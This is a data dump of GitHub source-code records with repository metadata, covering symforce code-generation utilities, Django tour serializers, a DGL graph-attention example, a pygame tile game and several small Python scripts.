T.Tuple[T.List[T.List[T.Union[sf.Symbol, sf.DataBuffer]]], T.List[T.List[sf.Scalar]]]:\n \"\"\"\n Returns a nested list of formatted symbols, as well as a nested list of the corresponding\n original scalar values. For use in generated functions.\n\n Args:\n values: Values object mapping keys to different objects. Here we only\n use the object types, not their actual values.\n config: Programming language and configuration for when language-specific formatting is\n required\n format_as_inputs: True if values defines the input symbols, false if values defines output\n expressions.\n Returns:\n flattened_formatted_symbolic_values: nested list of formatted scalar symbols\n flattened_original_values: nested list of original scalar values\n \"\"\"\n flattened_formatted_symbolic_values = []\n flattened_original_values = []\n for key, value in values.items():\n arg_cls = typing_util.get_type(value)\n storage_dim = ops.StorageOps.storage_dim(value)\n\n # For each item in the given Values object, we construct a list of symbols used\n # to access the scalar elements of the object. These symbols will later be matched up\n # with the flattened Values object symbols.\n if issubclass(arg_cls, sf.DataBuffer):\n formatted_symbols = [sf.DataBuffer(key, value.shape[0])]\n flattened_value = [value]\n elif isinstance(value, (sf.Expr, sf.Symbol)):\n formatted_symbols = [sf.Symbol(key)]\n flattened_value = [value]\n elif issubclass(arg_cls, sf.Matrix):\n # NOTE(brad): The order of the symbols must match the storage order of sf.Matrix\n # (as returned by sf.Matrix.to_storage). Hence, if there storage order were\n # changed to, say, row major, the below for loops would have to be swapped to\n # reflect that.\n formatted_symbols = []\n for j in range(value.shape[1]):\n for i in range(value.shape[0]):\n formatted_symbols.append(\n sf.Symbol(config.format_matrix_accessor(key, i, j, shape=value.shape))\n )\n\n flattened_value = ops.StorageOps.to_storage(value)\n\n elif issubclass(arg_cls, Values):\n # Term is a Values object, so we must flatten it. Here we loop over the index so that\n # we can use the same code with lists.\n formatted_symbols = []\n flattened_value = value.to_storage()\n for name, index_value in value.index().items():\n # Elements of a Values object are accessed with the \".\" operator\n formatted_symbols.extend(\n _get_scalar_keys_recursive(\n index_value, prefix=f\"{key}.{name}\", config=config, use_data=False\n )\n )\n\n assert len(formatted_symbols) == len(\n set(formatted_symbols)\n ), \"Non-unique keys:\\n{}\".format(\n [symbol for symbol in formatted_symbols if formatted_symbols.count(symbol) > 1]\n )\n elif issubclass(arg_cls, (list, tuple)):\n # Term is a list, so we loop over the index of the list, i.e.\n # \"values.index()[key].item_index\".\n formatted_symbols = []\n flattened_value = ops.StorageOps.to_storage(value)\n\n sub_index = values.index()[key].item_index\n assert sub_index is not None\n for i, sub_index_val in enumerate(sub_index.values()):\n # Elements of a list are accessed with the \"[]\" operator.\n formatted_symbols.extend(\n _get_scalar_keys_recursive(\n sub_index_val,\n prefix=f\"{key}[{i}]\",\n config=config,\n use_data=format_as_inputs,\n )\n )\n\n assert len(formatted_symbols) == len(\n set(formatted_symbols)\n ), \"Non-unique keys:\\n{}\".format(\n [symbol for symbol in formatted_symbols if formatted_symbols.count(symbol) > 1]\n )\n else:\n if format_as_inputs:\n # For readability, we will store the data of geo/cam objects in a temp vector named \"_key\"\n # where \"key\" is the name of the given input variable (can be \"self\" for member functions accessing\n # object data)\n formatted_symbols = [sf.Symbol(f\"_{key}[{j}]\") for j in range(storage_dim)]\n else:\n # For geo/cam objects being output, we can't access \"data\" directly, so in the\n # jinja template we will construct a new object from a vector\n formatted_symbols = [sf.Symbol(f\"{key}[{j}]\") for j in range(storage_dim)]\n flattened_value = ops.StorageOps.to_storage(value)\n\n if len(formatted_symbols) != len(flattened_value):\n error_text = (\n \"Number of symbols does not match number of values. \"\n + \"This can happen if a databuffer is included in a Values object used as an input \"\n + \"to the codegen function (databuffers should be top-level arguments/inputs). \"\n )\n # Only print matches if flattened_value isn't filled with expressions\n if format_as_inputs:\n matches = list(zip(formatted_symbols, flattened_value))\n error_text += f\"The following symbol/value pairs should match: {matches}\"\n raise ValueError(error_text)\n\n flattened_formatted_symbolic_values.append(formatted_symbols)\n flattened_original_values.append(flattened_value)\n\n return flattened_formatted_symbolic_values, flattened_original_values\n\n\ndef _get_scalar_keys_recursive(\n index_value: IndexEntry, prefix: str, config: codegen_config.CodegenConfig, use_data: bool\n) -> T.List[sf.Symbol]:\n \"\"\"\n Returns a vector of keys, recursing on Values or List objects to get sub-elements.\n\n Args:\n index_value: Entry in a given index consisting of (inx, datatype, shape, item_index)\n See Values.index() for details on how this entry is built.\n prefix: Symbol used to access parent object, e.g. \"my_values.item\" or \"my_list[i]\"\n config: Programming language and configuration for when language-specific formatting is\n required\n use_data: If true, we assume we can have a list of geo/cam objects whose data can be\n accessed with \".data\" or \".Data()\". Otherwise, assume geo/cam objects are represented\n by a vector of scalars (e.g. as they are in lcm types).\n \"\"\"\n vec = []\n datatype = index_value.datatype()\n if issubclass(datatype, sf.Scalar):\n # Element is a scalar, no need to access subvalues\n vec.append(sf.Symbol(prefix))\n elif issubclass(datatype, Values):\n assert index_value.item_index is not None\n # Recursively add subitems using \".\" to access subvalues\n for name, sub_index_val in index_value.item_index.items():\n vec.extend(\n _get_scalar_keys_recursive(\n sub_index_val, prefix=f\"{prefix}.{name}\", config=config, use_data=False\n )\n )\n elif issubclass(datatype, sf.DataBuffer):\n vec.append(sf.DataBuffer(prefix))\n elif issubclass(datatype, (list, tuple)):\n assert index_value.item_index is not None\n # Assume all elements of list are same type as first element\n # Recursively add subitems using \"[]\" to access subvalues\n for i, sub_index_val in enumerate(index_value.item_index.values()):\n vec.extend(\n _get_scalar_keys_recursive(\n sub_index_val, prefix=f\"{prefix}[{i}]\", config=config, use_data=use_data\n )\n )\n elif issubclass(datatype, sf.Matrix) or not use_data:\n if config.use_eigen_types:\n vec.extend(\n sf.Symbol(config.format_eigen_lcm_accessor(prefix, i))\n for i in range(index_value.storage_dim)\n )\n else:\n vec.extend(sf.Symbol(f\"{prefix}[{i}]\") for i in range(index_value.storage_dim))\n else:\n # We have a geo/cam or other object that uses \"data\" to store a flat vector of scalars.\n vec.extend(\n sf.Symbol(config.format_data_accessor(prefix=prefix, index=i))\n for i in range(index_value.storage_dim)\n )\n\n assert len(vec) == len(set(vec)), \"Non-unique keys:\\n{}\".format(\n [symbol for symbol in vec if vec.count(symbol) > 1]\n )\n\n return vec\n\n\ndef get_formatted_sparse_list(sparse_outputs: Values) -> T.List[T.List[sf.Scalar]]:\n \"\"\"\n Returns a nested list of symbols for use in generated functions for sparse matrices.\n \"\"\"\n symbolic_args = []\n # Each element of sparse_outputs is a list of the nonzero terms in the sparse matrix\n for key, sparse_matrix_data in sparse_outputs.items():\n symbolic_args.append(\n [sf.Symbol(f\"{key}_value_ptr[{i}]\") for i in range(len(sparse_matrix_data))]\n )\n\n return symbolic_args\n\n\ndef _load_generated_package_internal(name: str, path: Path) -> T.Tuple[T.Any, T.List[str]]:\n \"\"\"\n Dynamically load generated package (or module).\n\n Returns the generated package (module) and a list of the names of all modules added\n to sys.module by this function.\n\n Does not remove the modules it imports from sys.modules.\n\n Precondition: If m is a module from the same package as name and is imported by name, then\n there does not exist a different module with the same name as m in sys.modules. This is to\n ensure name imports the correct modules.\n \"\"\"\n if path.is_dir():\n path = path / \"__init__.py\"\n\n parts = name.split(\".\")\n if len(parts) > 1:\n # Load parent packages\n _, added_module_names = _load_generated_package_internal(\n \".\".join(parts[:-1]), path.parent / \"__init__.py\"\n )\n else:\n added_module_names = []\n\n spec = importlib.util.spec_from_file_location(name, path)\n assert spec is not None\n module = importlib.util.module_from_spec(spec)\n sys.modules[name] = module\n added_module_names.append(name)\n\n # For mypy: https://github.com/python/typeshed/issues/2793\n assert isinstance(spec.loader, importlib.abc.Loader)\n\n spec.loader.exec_module(module)\n return module, added_module_names\n\n\ndef load_generated_package(name: str, path: T.Openable, evict: bool = True) -> T.Any:\n \"\"\"\n Dynamically load generated package (or module).\n\n Args:\n name: The full name of the package or module to load (for example, ``\"pkg.sub_pkg\"``\n for a package called ``sub_pkg`` inside of another package ``pkg``, or\n ``\"pkg.sub_pkg.mod\"`` for a module called ``mod`` inside of ``pkg.sub_pkg``).\n path: The path to the directory (or ``__init__.py``) of the package, or the python\n file of the module.\n evict: Whether to evict the imported package from sys.modules after loading it. This is\n necessary for functions generated in the ``sym`` namespace, since leaving them would\n make it impossible to ``import sym`` and get the ``symforce-sym`` package as expected.\n For this reason, attempting to load a generated package called ``sym`` with\n ``evict=False`` is disallowed. However, evict should be ``False`` for numba-compiled\n functions.\n \"\"\"\n if not evict:\n if name.split(\".\")[0] == \"sym\":\n raise ValueError(\n \"Attempted to hotload a generated package called `sym` - see \"\n \"`help(load_generated_package)` for more information\"\n )\n\n return _load_generated_package_internal(name, Path(path))[0]\n\n # NOTE(brad): We remove all possibly conflicting modules from the cache. This is\n # to ensure that when name is executed, it loads local modules (if any) rather\n # than any with colliding names that have been loaded elsewhere\n root_package_name = name.split(\".\")[0]\n callee_saved_modules: T.List[T.Tuple[str, T.Any]] = []\n for module_name in tuple(sys.modules.keys()):\n if root_package_name == module_name.split(\".\")[0]:\n try:\n conflicting_module = sys.modules[module_name]\n del sys.modules[module_name]\n callee_saved_modules.append((module_name, conflicting_module))\n except KeyError:\n pass\n\n module, added_module_names = _load_generated_package_internal(name, Path(path))\n\n # We remove the temporarily added modules\n for added_name in added_module_names:\n try:\n del sys.modules[added_name]\n except KeyError:\n pass\n\n # And we restore the original removed modules\n for removed_name, removed_module in callee_saved_modules:\n sys.modules[removed_name] = removed_module\n\n return module\n\n\ndef load_generated_function(\n func_name: str, path_to_package: T.Openable, evict: bool = True\n) -> T.Callable:\n \"\"\"\n Returns the function with name ``func_name`` found inside the package located at\n ``path_to_package``.\n\n Example usage::\n\n def my_func(...):\n ...\n\n my_codegen = Codegen.function(my_func, config=PythonConfig())\n codegen_data = my_codegen.generate_function(output_dir=output_dir)\n generated_func = load_generated_function(\"my_func\", codegen_data.function_dir)\n generated_func(...)\n\n Args:\n path_to_package: a python package with an ``__init__.py`` containing a module defined in\n ``func_name.py`` which in turn defines an attribute named ``func_name``. See the example\n above.\n evict: Whether to evict the imported package from sys.modules after loading it. This is\n necessary for functions generated in the ``sym`` namespace, since leaving them would\n make it impossible to ``import sym`` and get the ``symforce-sym`` package as expected.\n For this reason, attempting to load a generated package called ``sym`` with\n ``evict=False`` is disallowed. However, evict should be ``False`` for numba-compiled\n functions.\n \"\"\"\n pkg_path = Path(path_to_package)\n if pkg_path.name == \"__init__.py\":\n pkg_path = pkg_path.parent\n pkg_name = pkg_path.name\n func_module = load_generated_package(\n f\"{pkg_name}.{func_name}\", pkg_path / f\"{func_name}.py\", evict\n )\n return getattr(func_module, func_name)\n\n\ndef load_generated_lcmtype(\n package: str, type_name: str, lcmtypes_path: T.Union[str, Path]\n) -> T.Type:\n \"\"\"\n Load an LCM type generated by\n :meth:`Codegen.generate_function `\n\n Example usage::\n\n my_codegen = Codegen(my_func, config=PythonConfig())\n codegen_data = my_codegen.generate_function(output_dir=output_dir, namespace=namespace)\n my_type_t = codegen_util.load_generated_lcmtype(\n namespace, \"my_type_t\", codegen_data.python_types_dir\n )\n my_type_msg = my_type_t(foo=5)\n\n Args:\n package: The name of the LCM package for the type\n type_name: The name of the LCM type itself (not including the package)\n lcmtypes_path: The path to the directory containing the generated lcmtypes package\n\n Returns:\n The Python LCM type\n \"\"\"\n # We need to import the lcmtypes package first so that sys.path is set up correctly, since this\n # is a namespace package\n import lcmtypes # pylint: disable=unused-import\n\n return getattr(\n load_generated_package(\n f\"lcmtypes.{package}._{type_name}\",\n Path(lcmtypes_path) / \"lcmtypes\" / package / f\"_{type_name}.py\",\n ),\n type_name,\n )\n\n\ndef get_base_instance(obj: T.Sequence[T.Any]) -> T.Any:\n \"\"\"\n Returns an instance of the base element (e.g. Scalar, Values, Matrix, etc.) of an object.\n If input is a list (incl. multidimensional lists), we return an instance of one of the base\n elements (i.e. the first element that isn't a list). If input is a list we assume all\n elements are of the same type/shape.\n \"\"\"\n if isinstance(obj, (list, tuple)):\n return get_base_instance(obj[0])\n return obj\n\n\n@dataclasses.dataclass\nclass LcmBindingsDirs:\n python_types_dir: Path\n cpp_types_dir: Path\n\n\ndef generate_lcm_types(\n lcm_type_dir: T.Openable, lcm_files: T.Sequence[str], lcm_output_dir: T.Openable = None\n) -> LcmBindingsDirs:\n \"\"\"\n Generates the language-specific type files for all symforce generated \".lcm\" files.\n\n Args:\n lcm_type_dir: Directory containing symforce-generated .lcm files\n lcm_files: List of .lcm files to process\n \"\"\"\n lcm_type_dir = Path(lcm_type_dir)\n\n if lcm_output_dir is None:\n lcm_output_dir = lcm_type_dir / \"..\"\n else:\n lcm_output_dir = Path(lcm_output_dir)\n\n python_types_dir = lcm_output_dir / \"python\"\n cpp_types_dir = lcm_output_dir / \"cpp\" / \"lcmtypes\"\n lcm_include_dir = \"lcmtypes\"\n\n result = LcmBindingsDirs(python_types_dir=python_types_dir, cpp_types_dir=cpp_types_dir)\n\n # TODO(brad, aaron): Do something reasonable with lcm_files other than returning early\n # If no LCM files provided, do nothing\n if not lcm_files:\n return result\n\n from skymarshal import skymarshal\n from skymarshal.emit_cpp import SkymarshalCpp\n from skymarshal.emit_python import SkymarshalPython\n\n skymarshal.main(\n [SkymarshalPython, SkymarshalCpp],\n args=[\n str(lcm_type_dir),\n \"--python\",\n \"--python-path\",\n str(python_types_dir / \"lcmtypes\"),\n \"--python-namespace-packages\",\n \"--python-package-prefix\",\n \"lcmtypes\",\n \"--cpp\",\n \"--cpp-hpath\",\n str(cpp_types_dir),\n \"--cpp-include\",\n lcm_include_dir,\n \"--no-source-paths\",\n ],\n print_generated=False,\n )\n\n # Autoformat generated python files\n format_util.format_py_dir(python_types_dir)\n\n return result\n\n\ndef flat_symbols_from_values(values: Values) -> T.List[T.Any]:\n \"\"\"\n Returns a flat list of unique symbols in the object for codegen\n Note that this *does not* respect storage ordering\n \"\"\"\n symbols_list = values.to_storage()\n\n for v in values.values_recursive():\n if isinstance(v, sf.DataBuffer):\n symbols_list.append(v)\n return symbols_list\n","repo_name":"symforce-org/symforce","sub_path":"symforce/codegen/codegen_util.py","file_name":"codegen_util.py","file_ext":"py","file_size_in_byte":30267,"program_lang":"python","lang":"en","doc_type":"code","stars":1266,"dataset":"github-code","pt":"34"} +{"seq_id":"10446037440","text":"import datetime\n\nfrom rest_framework.fields import (\n CharField,\n SerializerMethodField,\n IntegerField,\n DecimalField,\n)\nfrom rest_framework.serializers import ModelSerializer\n\nfrom hotels.serializers import HotelDetailSerializer\nfrom images.models import TourImage\nfrom images.serializers import ImageSerializer, ImageUploadSerializer\nfrom tours.arrival_dates.serializers import ArrivalDatesSerializer\nfrom tours.features.serializers import TourFeatureSerializer\nfrom tours.models import Tour\n\n\nclass TourFeatureDetailSerializer(TourFeatureSerializer):\n hotel = SerializerMethodField()\n\n class Meta(TourFeatureSerializer.Meta):\n pass\n\n def get_hotel(self, obj):\n return HotelDetailSerializer(\n obj.hotel,\n context={\n \"start\": self.context.get(\"start\"),\n \"end\": self.context.get(\"end\"),\n \"filter_params\": self.context.get(\"filter_params\"),\n },\n ).data\n\n\nclass TourSerializer(ImageUploadSerializer):\n images = ImageSerializer(many=True, read_only=True)\n max_passengers = IntegerField(write_only=True)\n price = DecimalField(write_only=True, decimal_places=2, max_digits=10)\n min_price = DecimalField(read_only=True, decimal_places=2, max_digits=10)\n\n image_model = TourImage\n additional_field = \"tour\"\n\n class Meta:\n model = Tour\n fields = (\n \"id\",\n \"title\",\n \"images\",\n \"tour_type\",\n \"days\",\n \"description\",\n \"max_passengers\",\n \"price\",\n \"min_price\",\n )\n\n def to_representation(self, instance):\n self.fields[\"tour_type\"] = CharField(source=\"get_tour_type_display\")\n result = super().to_representation(instance)\n instance.tour_features.prefetch_related(\"destination\")\n result[\"destinations\"] = instance.tour_features.values_list(\n \"destination__name\", flat=True\n )\n return result\n\n\nclass TourDetailSerializer(ModelSerializer):\n images = ImageSerializer(many=True, read_only=True)\n tour_type = CharField(source=\"get_tour_type_display\")\n features = TourFeatureSerializer(source=\"tour_features\", many=True)\n arrival_dates = ArrivalDatesSerializer(many=True)\n\n class Meta(TourSerializer.Meta):\n fields = TourSerializer.Meta.fields + (\n \"price\",\n \"arrival_dates\",\n \"days\",\n \"features\",\n \"description\",\n )\n\n\nclass TourDetailFeaturesSerializer(TourSerializer):\n features = SerializerMethodField()\n price = DecimalField(read_only=True, decimal_places=2, max_digits=10)\n\n class Meta(TourSerializer.Meta):\n fields = TourSerializer.Meta.fields + (\"features\", \"price\")\n\n def get_features(self, obj):\n start = self.context.get(\"start\")\n data = []\n for feature in obj.tour_features.all():\n end = start + datetime.timedelta(days=feature.days)\n data.append(\n TourFeatureDetailSerializer(\n feature, context={\"start\": start, \"end\": end}\n ).data\n )\n start = end\n return data\n","repo_name":"Averia17/TourAgency","sub_path":"tour_agency/tours/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":3195,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"31843790354","text":"import joblib\nimport seaborn as sb\nimport matplotlib.pyplot as plt\nimport base64\nfrom io import BytesIO\nimport pandas as pd\nimport numpy as np\nPATH=\"diabetes.csv\"\ndf=pd.read_csv(PATH)\ndef get_graph():\n model=joblib.load(\"model.sav\")\n buffer=BytesIO()\n plt.savefig(buffer,format='png')\n buffer.seek(0)\n image_png=buffer.getvalue()\n graph=base64.b64encode(image_png)\n graph=graph.decode('utf-8')\n buffer.close()\n return graph\n\ndef get_plot(usf,c,d,e,color):\n model=joblib.load(\"model.sav\")\n plt.switch_backend('AGG')\n figy=plt.figure()\n axis1=sb.scatterplot(x='Age',y=c,data=df,hue='Outcome',palette='rainbow')\n axis2=sb.scatterplot(x='Age',y=c,data=usf,color=color)\n plt.xticks(np.arange(10,100,5))\n plt.yticks(np.arange(0,d,e))\n plt.title('0 - Healthy & 1 - Unhealthy')\n plt.tight_layout()\n graph=get_graph()\n return graph\n#import data from html file\n#then plt.plot(data,Age) \n#I think we can't call plt like that as we call model.predict we have to look into error in screenshot csrf why plots are not working\n#fault is in manage.py and result.html have to check tomorrow\n#fault was debug was set false after completing editing set DEBUG=False in settings.py\n#could not interpret value input by user for x in get_plot()i.e. a can be interpreted for parameter x in get_plot()\nmodel=joblib.load(\"model.sav\")\n","repo_name":"Arghajit08/DiabetesPrediction","sub_path":"Diabetes/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1370,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"41207233806","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.image as image\n\n#Aula 6a\n\ndados = np.genfromtxt('oscilador_caotico.csv')\ndelT = dados[1,0]-dados[0,0]\ntransfFourier = np.fft.fft(dados[:,2])\nnumOnda = np.fft.fftfreq(len(dados), delT)\nespectro = np.abs(transfFourier)**2\n\nplt.subplot(2,1,1)\nplt.plot(dados[:,0],dados[:,2])\nplt.xlabel('t')\nplt.subplot(2,1,2)\nplt.plot(numOnda, espectro)\nplt.xlabel('k')\nplt.show()","repo_name":"m-obispo/fft-py","sub_path":"fft_a.py","file_name":"fft_a.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"34"} +{"seq_id":"9784638941","text":"#!/bin/python3\nimport configparser\nimport logging\nimport os.path\nfrom discordbot import DiscordBot\n\nCONFIG_FILE = \"config.cfg\"\n\n#### Read the API keys\n\nconfig = configparser.ConfigParser()\n\n# Default values\nconfig[\"general\"] = {}\nconfig[\"general\"][\"logfile\"] = \"\"\nconfig[\"general\"][\"loglevel\"] = \"INFO\"\nconfig[\"feeder\"] = {}\nconfig[\"feeder\"][\"polling_interval\"] = \"30\"\nconfig[\"feeder\"][\"fetch_blogposts\"] = \"true\"\nconfig[\"feeder\"][\"fetch_belvedere\"] = \"true\"\nconfig[\"discord\"] = {}\nconfig[\"discord\"][\"token\"] = \"\"\n\nif not os.path.isfile(CONFIG_FILE):\n with open(CONFIG_FILE, 'w') as h:\n config.write(h)\n\n# User values\nconfig.read(CONFIG_FILE)\n\n# Logging config\nloglevels = {\n 'DEBUG': logging.DEBUG,\n 'INFO': logging.INFO,\n 'WARNING': logging.WARNING,\n 'ERROR': logging.ERROR,\n 'CRITICAL': logging.CRITICAL,\n}\nconfigfile = config[\"general\"][\"logfile\"]\nconfigfile = configfile if len(configfile) else None\nlevel = loglevels.get(config[\"general\"][\"loglevel\"].upper(), 'INFO')\nfmt = '%(asctime)s:%(levelname)s:%(name)s: %(message)s'\nlogging.basicConfig(format=fmt, level=level, filename=configfile)\n\n#### Start the bot\ndiscord = DiscordBot(config[\"discord\"][\"token\"],\n config.getint(\"feeder\",\"polling_interval\"),\n config.getboolean(\"feeder\",\"fetch_blogposts\"),\n config.getboolean(\"feeder\",\"fetch_belvedere\"))\ndiscord.run()\n\n","repo_name":"ABorgna/dotaFeeder","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"3517780999","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport dgl\nfrom dgl.data import CoraGraphDataset, CiteseerGraphDataset, PubmedGraphDataset\nfrom dgl import AddSelfLoop\nimport argparse\n\nfrom dgl.mock_sparse import create_from_coo, softmax, bspmm\nfrom torch.nn import init\n\n\nclass GATConv(nn.Module):\n def __init__(self, in_size, out_size, n_heads):\n super(GATConv, self).__init__()\n self.in_size = in_size\n self.out_size = out_size\n self.n_heads = n_heads\n self.W = nn.Parameter(torch.Tensor(in_size, out_size * n_heads))\n self.a_l = nn.Parameter(torch.Tensor(1, n_heads, out_size))\n self.a_r = nn.Parameter(torch.Tensor(1, n_heads, out_size))\n self.leaky_relu = nn.LeakyReLU(0.2)\n init.xavier_uniform_(self.W)\n init.xavier_uniform_(self.a_l)\n init.xavier_uniform_(self.a_r)\n\n def forward(self, A, h):\n Wh = (h @ self.W).view(\n -1, self.n_heads, self.out_size\n ) # |V| x N_h x D_o\n Wh1 = (Wh * self.a_l).sum(2) # |V| x N_h\n Wh2 = (Wh * self.a_r).sum(2) # |V| x N_h\n Wh1 = Wh1[A.row, :] # |E| x N_h\n Wh2 = Wh2[A.col, :] # |E| x N_h\n e = Wh1 + Wh2 # |E| x N_h\n e = self.leaky_relu(e) # |E| x N_h\n A = create_from_coo(\n A.row, A.col, e, A.shape\n ) # |V| x |V| x N_h SparseMatrix\n A_hat = softmax(A) # |V| x |V| x N_h SparseMatrix\n Wh = Wh.reshape(-1, self.out_size, self.n_heads) # |V| x D_o x N_h\n h_prime = bspmm(A_hat, Wh) # |V| x D_o x N_h\n\n return torch.relu(h_prime)\n\n\nclass GAT(nn.Module):\n def __init__(self, in_size, hidden_size, out_size, n_heads):\n super().__init__()\n self.layers = nn.ModuleList()\n self.layers.append(GATConv(in_size, hidden_size, n_heads))\n self.layers.append(GATConv(hidden_size * n_heads, out_size, n_heads))\n\n def forward(self, A, features):\n h = features\n for i, layer in enumerate(self.layers):\n h = layer(A, h)\n if i == 1: # last layer\n h = h.mean(1)\n else: # other layer(s)\n h = h.flatten(1)\n return h\n\n\ndef evaluate(A, features, labels, mask, model):\n model.eval()\n with torch.no_grad():\n logits = model(A, features)\n logits = logits[mask]\n labels = labels[mask]\n _, indices = torch.max(logits, dim=1)\n correct = torch.sum(indices == labels)\n return correct.item() * 1.0 / len(labels)\n\n\ndef train(A, features, labels, masks, model):\n # define train/val samples, loss function and optimizer\n train_mask = masks[0]\n val_mask = masks[1]\n loss_fcn = nn.CrossEntropyLoss()\n optimizer = torch.optim.Adam(model.parameters(), lr=1e-2, weight_decay=5e-4)\n\n # training loop\n for epoch in range(50):\n model.train()\n logits = model(A, features)\n loss = loss_fcn(logits[train_mask], labels[train_mask])\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n acc = evaluate(A, features, labels, val_mask, model)\n print(\n \"Epoch {:05d} | Loss {:.4f} | Accuracy {:.4f} \".format(\n epoch, loss.item(), acc\n )\n )\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"--dataset\",\n type=str,\n default=\"cora\",\n help=\"Dataset name ('cora', 'citeseer', 'pubmed').\",\n )\n args = parser.parse_args()\n print(f\"Training with DGL SparseMatrix GATConv module.\")\n\n # load and preprocess dataset\n transform = (\n AddSelfLoop()\n ) # by default, it will first remove self-loops to prevent duplication\n if args.dataset == \"cora\":\n data = CoraGraphDataset(transform=transform)\n elif args.dataset == \"citeseer\":\n data = CiteseerGraphDataset(transform=transform)\n elif args.dataset == \"pubmed\":\n data = PubmedGraphDataset(transform=transform)\n else:\n raise ValueError(\"Unknown dataset: {}\".format(args.dataset))\n g = data[0]\n g = g.int()\n features = g.ndata[\"feat\"]\n labels = g.ndata[\"label\"]\n masks = g.ndata[\"train_mask\"], g.ndata[\"val_mask\"], g.ndata[\"test_mask\"]\n\n row, col = g.adj_sparse(\"coo\")\n A = create_from_coo(\n row, col, shape=(g.number_of_nodes(), g.number_of_nodes())\n )\n\n # create GAT model\n in_size = features.shape[1]\n out_size = data.num_classes\n model = GAT(in_size, 8, out_size, 8)\n\n # model training\n print(\"Training...\")\n train(A, features, labels, masks, model)\n\n # test the model\n print(\"Testing...\")\n acc = evaluate(A, features, labels, masks[2], model)\n print(\"Test accuracy {:.4f}\".format(acc))\n","repo_name":"omarsoud/fewexample","sub_path":"examples/pytorch/mock_sparse/gat/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4740,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"39775473237","text":"def square(number):\n\treturn number * number\n\n\ndef main():\n\n\ttry:\n\t\tnumber = int(input(\"Enter number:\\t\"))\n\t\tprint(\"Square of \", number, \"is: \", square(number))\n\n\texcept:\n\t\tprint(\"Please enter a valid integer\")\n\n\nif __name__==\"__main__\":\n\tmain()","repo_name":"SapneshNaik/python_assignment","sub_path":"problem2/square.py","file_name":"square.py","file_ext":"py","file_size_in_byte":244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"18436206266","text":"import sys\nimport random\nimport pygame\n\nfrom pygame.locals import *\n\n# declare resources\nDIRT, GRASS, WATER, COAL, CLOUD, WOOD = 0, 1, 2, 3, 4, 5\n# declare valuable resources\nFIRE, SAND, GLASS, ROCK, STONE, BRICK, DIAMOND = 6, 7, 8, 9 , 10, 11, 12\n\nBLACK = (0,0,0)\n\nTILESIZE = 40\nMAPWIDTH = 30\nMAPHEIGHT = 20\n\n# import an image for each of the resources\ntextures = {\n DIRT: pygame.image.load('dirt.png'),\n GRASS: pygame.image.load('grass.png'),\n WATER: pygame.image.load('water.png'),\n COAL: pygame.image.load('coal.png'),\n CLOUD: pygame.image.load('cloud.png'),\n BRICK: pygame.image.load('brick.png'),\n DIAMOND: pygame.image.load('diamond.png'),\n FIRE: pygame.image.load('fire.png'),\n GLASS: pygame.image.load('glass.png'),\n ROCK: pygame.image.load('rock.png'),\n SAND: pygame.image.load('sand.png'),\n STONE: pygame.image.load('stone.png'),\n WOOD: pygame.image.load('wood.png')\n}\n\nplayer = pygame.image.load('char.png')\nplayerPos = [0,0]\n\n# initialize the map with all dirt\ntilemap = [[DIRT for w in range(MAPWIDTH)] for h in range(MAPHEIGHT)]\n# for each row\nfor row in range(MAPHEIGHT):\n # for each column in that row\n for col in range(MAPWIDTH):\n # generate a random number\n rn = random.randint(0,15)\n # it the random number is 0\n # fill the tilef with COAL\n if rn == 0:\n tile = COAL\n # if that number is 1 or 2\n # fill the tile with water\n elif rn in [1, 2]:\n tile = WATER\n elif rn in [3,4,5,6,7]:\n tile = GRASS\n elif rn in [7,8,9]:\n tile = WOOD\n elif rn in [9,10,11]:\n tile = ROCK\n else:\n tile = DIRT\n tilemap[row][col] = tile\n\npygame.init()\nDISPLAYSURF = pygame.display.set_mode((MAPWIDTH*TILESIZE,MAPHEIGHT*TILESIZE))\n\nwhile True:\n DISPLAYSURF.fill(BLACK)\n for event in pygame.event.get():\n if event.type == QUIT:\n pygame.quit()\n sys.exit()\n elif event.type == KEYDOWN:\n if event.key == K_RIGHT and playerPos[0] < MAPWIDTH - 1:\n playerPos[0] += 1\n if event.key == K_LEFT and playerPos[0] > 0:\n playerPos[0] -= 1\n if event.key == K_DOWN and playerPos[1] < MAPHEIGHT - 1:\n playerPos[1] += 1\n if event.key == K_UP and playerPos[1] > 0:\n playerPos[1] -= 1\n\n # render the tilemap we generated above\n # make sure to render this before the character\n # if not the character may not appear (hell be under the map)\n # the rednering order matters\n for row in range(MAPHEIGHT):\n for column in range(MAPWIDTH):\n DISPLAYSURF.blit(textures[tilemap[row][column]], (column*TILESIZE,row*TILESIZE))\n\n DISPLAYSURF.blit(player,(playerPos[0]*TILESIZE, playerPos[1]*TILESIZE))\n pygame.display.update()","repo_name":"yvan/nbsblogs","sub_path":"minecraft2d/game3.py","file_name":"game3.py","file_ext":"py","file_size_in_byte":2872,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"34"} +{"seq_id":"74685247136","text":"import os\nimport numpy as np\nimport sys\nimport time\nimport argparse\nimport torch\nimport torch.nn as nn\nfrom scipy.io.wavfile import write\nfrom fastspeech2.model_fs2 import FastSpeech2\nfrom hifi_gan.models import Generator\nfrom hifi_gan.env import AttrDict\nimport text_fs2\nimport hparams\nfrom G2p import G2p\nfrom string import punctuation\nimport re\nimport json\nfrom pydub import AudioSegment\n\nimport IPython\nfrom time import time\nimport requests\nimport tacotron2.hparams as hp_tacotron2\nfrom tacotron2.model import Tacotron2\nfrom tacotron2.distributed import apply_gradient_allreduce\nfrom waveglow.denoiser import Denoiser\nfrom numpy 